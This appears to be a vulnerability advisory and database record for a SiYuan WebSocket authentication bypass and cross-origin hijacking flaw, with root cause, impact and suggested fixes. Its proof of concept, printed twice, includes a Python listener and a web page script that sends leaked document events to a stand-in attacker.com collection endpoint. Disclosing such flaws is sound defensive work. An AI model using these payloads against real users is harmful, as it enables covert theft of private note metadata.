GHSA-XP2M-98X8-RPJ6

Vulnerability from github – Published: 2026-03-16 18:46 – Updated: 2026-03-30 13:59
VLAI?
Summary
SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
Details

Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

Summary

SiYuan's WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.

Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.

Affected Component

  • File: kernel/server/serve.go:728-731
  • Function: serveWebSocket()HandleConnect handler
  • Endpoint: GET /ws?app=siyuan&id=auth&type=auth (unauthenticated)
  • Version: SiYuan <= 3.5.9

Root Cause

The WebSocket HandleConnect handler has a special case bypass (line 730) intended for the authorization page:

util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    authOk := true
    if "" != model.Conf.AccessAuthCode {
        // ... normal session/JWT authentication checks ...
        // authOk = false if no valid session
    }

    if !authOk {
        // Bypass: allow connection for auth page keepalive
        // 用于授权页保持连接,避免非常驻内存内核自动退出
        authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
                 strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
    }

    if !authOk {
        s.CloseWithMsg([]byte("  unauthenticated"))
        return
    }

    util.AddPushChan(s)  // Session added to broadcast list
})

Three issues combine:

  1. Authentication bypass via URL parameters: Any client connecting with ?app=siyuan&id=auth&type=auth bypasses all authentication checks.

  2. Full broadcast membership: The bypassed session is added to the broadcast list via util.AddPushChan(s), receiving ALL PushModeBroadcast events — the same events sent to authenticated clients.

  3. No Origin validation: The WebSocket endpoint does not check the Origin header, allowing cross-origin connections from any website.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker) with accessAuthCode configured.

1. Direct unauthenticated connection

import asyncio, json, websockets

async def spy():
    # Connect WITHOUT any authentication cookie
    uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
    async with websockets.connect(uri) as ws:
        print("Connected without authentication!")
        while True:
            msg = await ws.recv()
            data = json.loads(msg)
            cmd = data.get("cmd")
            d = data.get("data", {})

            if cmd == "rename":
                print(f"[LEAKED] Document renamed: {d.get('title')}")
            elif cmd == "create":
                print(f"[LEAKED] Document created: {d.get('path')}")
            elif cmd == "renamenotebook":
                print(f"[LEAKED] Notebook renamed: {d.get('name')}")
            elif cmd == "removeDoc":
                print(f"[LEAKED] Document deleted")
            elif cmd == "transactions":
                for tx in d if isinstance(d, list) else []:
                    for op in tx.get("doOperations", []):
                        if op.get("action") == "updateAttrs":
                            new = op.get("data", {}).get("new", {})
                            print(f"[LEAKED] Doc attrs: title={new.get('title')}")

asyncio.run(spy())

2. Cross-origin attack from malicious website

<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");

ws.onopen = () => console.log("Connected to victim's SiYuan!");

ws.onmessage = (event) => {
    const data = JSON.parse(event.data);
    // Exfiltrate document operations to attacker
    fetch("https://attacker.com/collect", {
        method: "POST",
        body: JSON.stringify({
            cmd: data.cmd,
            data: data.data,
            timestamp: Date.now()
        })
    });
};
</script>

3. Confirmed leaked events

The following events are received by the unauthenticated WebSocket:

Event Leaked Data
savedoc Document root ID, operation data
transactions Document title, ID, attrs (new/old)
create Document path, notebook info (name, ID)
rename New document title, path, notebook ID
renamenotebook New notebook name, notebook ID
removeDoc Document deletion event

4. Cross-origin connection confirmed

import websockets, asyncio

async def test():
    uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
    extra_headers = {"Origin": "https://evil.attacker.com"}
    async with websockets.connect(uri, additional_headers=extra_headers) as ws:
        print("Cross-origin connection accepted!")  # SUCCEEDS

asyncio.run(test())

Result: Connection succeeds — no Origin validation.

Attack Scenario

  1. Victim runs SiYuan desktop (Electron, listens on localhost:6806) or Docker instance
  2. Victim has accessAuthCode configured (server is password-protected)
  3. Victim visits attacker.com in any browser
  4. Attacker's JavaScript connects to ws://localhost:6806/ws?app=siyuan&id=spy&type=auth
  5. WebSocket connection bypasses authentication
  6. Attacker silently monitors ALL document operations in real-time:
  7. Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft")
  8. Notebook names ("Personal", "Work - Confidential")
  9. File paths and document IDs
  10. Create/rename/delete operations
  11. Attacker builds a profile of the victim's note-taking activity without any visible indication

Impact

  • Severity: HIGH (CVSS ~7.5)
  • Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)
  • Authentication bypass on WebSocket endpoint when accessAuthCode is configured
  • Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance
  • Real-time information disclosure of document metadata (titles, paths, operations)
  • No user interaction required beyond visiting a malicious website
  • Affects both Electron desktop and Docker/server deployments
  • Silent — no visible indication to the user

Suggested Fix

1. Remove the URL parameter authentication bypass

// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
         strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")

// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast events

2. Add Origin header validation

util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    // Validate Origin header
    origin := s.Request.Header.Get("Origin")
    if origin != "" {
        allowed := false
        for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} {
            if strings.HasPrefix(origin, o) {
                allowed = true
                break
            }
        }
        if !allowed {
            s.CloseWithMsg([]byte("origin not allowed"))
            return
        }
    }
    // ... rest of auth logic
})

3. Separate keepalive from broadcast

If the auth page needs a WebSocket for keepalive, create a separate endpoint (/ws-keepalive) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T18:46:34Z",
    "nvd_published_at": "2026-03-19T22:16:42Z",
    "severity": "MODERATE"
  },
  "details": "# Cross-Origin WebSocket Hijacking via Authentication Bypass \u2014 Unauthenticated Information Disclosure\n\n## Summary\n\nSiYuan\u0027s WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan\u0026id=auth\u0026type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client \u2014 including malicious websites via cross-origin WebSocket \u2014 to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.\n\nCombined with the absence of `Origin` header validation, a malicious website can silently connect to a victim\u0027s local SiYuan instance and monitor their note-taking activity.\n\n## Affected Component\n\n- **File:** `kernel/server/serve.go:728-731`\n- **Function:** `serveWebSocket()` \u2192 `HandleConnect` handler\n- **Endpoint:** `GET /ws?app=siyuan\u0026id=auth\u0026type=auth` (unauthenticated)\n- **Version:** SiYuan \u003c= 3.5.9\n\n## Root Cause\n\nThe WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    authOk := true\n    if \"\" != model.Conf.AccessAuthCode {\n        // ... normal session/JWT authentication checks ...\n        // authOk = false if no valid session\n    }\n\n    if !authOk {\n        // Bypass: allow connection for auth page keepalive\n        // \u7528\u4e8e\u6388\u6743\u9875\u4fdd\u6301\u8fde\u63a5\uff0c\u907f\u514d\u975e\u5e38\u9a7b\u5185\u5b58\u5185\u6838\u81ea\u52a8\u9000\u51fa\n        authOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") \u0026\u0026\n                 strings.Contains(s.Request.RequestURI, \"\u0026id=auth\u0026type=auth\")\n    }\n\n    if !authOk {\n        s.CloseWithMsg([]byte(\"  unauthenticated\"))\n        return\n    }\n\n    util.AddPushChan(s)  // Session added to broadcast list\n})\n```\n\nThree issues combine:\n\n1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan\u0026id=auth\u0026type=auth` bypasses all authentication checks.\n\n2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events \u2014 the same events sent to authenticated clients.\n\n3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.**\n\n### 1. Direct unauthenticated connection\n\n```python\nimport asyncio, json, websockets\n\nasync def spy():\n    # Connect WITHOUT any authentication cookie\n    uri = \"ws://TARGET:6806/ws?app=siyuan\u0026id=auth\u0026type=auth\"\n    async with websockets.connect(uri) as ws:\n        print(\"Connected without authentication!\")\n        while True:\n            msg = await ws.recv()\n            data = json.loads(msg)\n            cmd = data.get(\"cmd\")\n            d = data.get(\"data\", {})\n\n            if cmd == \"rename\":\n                print(f\"[LEAKED] Document renamed: {d.get(\u0027title\u0027)}\")\n            elif cmd == \"create\":\n                print(f\"[LEAKED] Document created: {d.get(\u0027path\u0027)}\")\n            elif cmd == \"renamenotebook\":\n                print(f\"[LEAKED] Notebook renamed: {d.get(\u0027name\u0027)}\")\n            elif cmd == \"removeDoc\":\n                print(f\"[LEAKED] Document deleted\")\n            elif cmd == \"transactions\":\n                for tx in d if isinstance(d, list) else []:\n                    for op in tx.get(\"doOperations\", []):\n                        if op.get(\"action\") == \"updateAttrs\":\n                            new = op.get(\"data\", {}).get(\"new\", {})\n                            print(f\"[LEAKED] Doc attrs: title={new.get(\u0027title\u0027)}\")\n\nasyncio.run(spy())\n```\n\n### 2. Cross-origin attack from malicious website\n\n```html\n\u003c!-- Hosted on https://attacker.com/spy.html --\u003e\n\u003cscript\u003e\n// Victim has SiYuan running on localhost:6806\nconst ws = new WebSocket(\"ws://localhost:6806/ws?app=siyuan\u0026id=spy\u0026type=auth\");\n\nws.onopen = () =\u003e console.log(\"Connected to victim\u0027s SiYuan!\");\n\nws.onmessage = (event) =\u003e {\n    const data = JSON.parse(event.data);\n    // Exfiltrate document operations to attacker\n    fetch(\"https://attacker.com/collect\", {\n        method: \"POST\",\n        body: JSON.stringify({\n            cmd: data.cmd,\n            data: data.data,\n            timestamp: Date.now()\n        })\n    });\n};\n\u003c/script\u003e\n```\n\n### 3. Confirmed leaked events\n\nThe following events are received by the unauthenticated WebSocket:\n\n| Event | Leaked Data |\n|-------|-------------|\n| `savedoc` | Document root ID, operation data |\n| `transactions` | Document title, ID, attrs (new/old) |\n| `create` | Document path, notebook info (name, ID) |\n| `rename` | New document title, path, notebook ID |\n| `renamenotebook` | New notebook name, notebook ID |\n| `removeDoc` | Document deletion event |\n\n### 4. Cross-origin connection confirmed\n\n```python\nimport websockets, asyncio\n\nasync def test():\n    uri = \"ws://localhost:6806/ws?app=siyuan\u0026id=attacker\u0026type=auth\"\n    extra_headers = {\"Origin\": \"https://evil.attacker.com\"}\n    async with websockets.connect(uri, additional_headers=extra_headers) as ws:\n        print(\"Cross-origin connection accepted!\")  # SUCCEEDS\n\nasyncio.run(test())\n```\n\n**Result:** Connection succeeds \u2014 no Origin validation.\n\n## Attack Scenario\n\n1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance\n2. Victim has `accessAuthCode` configured (server is password-protected)\n3. Victim visits `attacker.com` in any browser\n4. Attacker\u0027s JavaScript connects to `ws://localhost:6806/ws?app=siyuan\u0026id=spy\u0026type=auth`\n5. WebSocket connection bypasses authentication\n6. Attacker silently monitors ALL document operations in real-time:\n   - Document titles (\"Q4 Financial Results\", \"Employee Reviews\", \"Patent Draft\")\n   - Notebook names (\"Personal\", \"Work - Confidential\")\n   - File paths and document IDs\n   - Create/rename/delete operations\n7. Attacker builds a profile of the victim\u0027s note-taking activity without any visible indication\n\n## Impact\n\n- **Severity:** HIGH (CVSS ~7.5)\n- **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)\n- Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured\n- Cross-origin WebSocket hijacking \u2014 any website can connect to local SiYuan instance\n- Real-time information disclosure of document metadata (titles, paths, operations)\n- No user interaction required beyond visiting a malicious website\n- Affects both Electron desktop and Docker/server deployments\n- Silent \u2014 no visible indication to the user\n\n## Suggested Fix\n\n### 1. Remove the URL parameter authentication bypass\n\n```go\n// Remove or restrict the auth page bypass\n// Before (vulnerable):\nauthOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") \u0026\u0026\n         strings.Contains(s.Request.RequestURI, \"\u0026id=auth\u0026type=auth\")\n\n// After: Use a separate, restricted endpoint for auth page keepalive\n// that does NOT receive broadcast events\n```\n\n### 2. Add Origin header validation\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    // Validate Origin header\n    origin := s.Request.Header.Get(\"Origin\")\n    if origin != \"\" {\n        allowed := false\n        for _, o := range []string{\"http://localhost\", \"http://127.0.0.1\", \"app://\"} {\n            if strings.HasPrefix(origin, o) {\n                allowed = true\n                break\n            }\n        }\n        if !allowed {\n            s.CloseWithMsg([]byte(\"origin not allowed\"))\n            return\n        }\n    }\n    // ... rest of auth logic\n})\n```\n\n### 3. Separate keepalive from broadcast\n\nIf the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.",
  "id": "GHSA-xp2m-98x8-rpj6",
  "modified": "2026-03-30T13:59:03Z",
  "published": "2026-03-16T18:46:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xp2m-98x8-rpj6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/1e370e37359778c0932673e825182ff555b504a3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass \u2014 Unauthenticated Information Disclosure"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…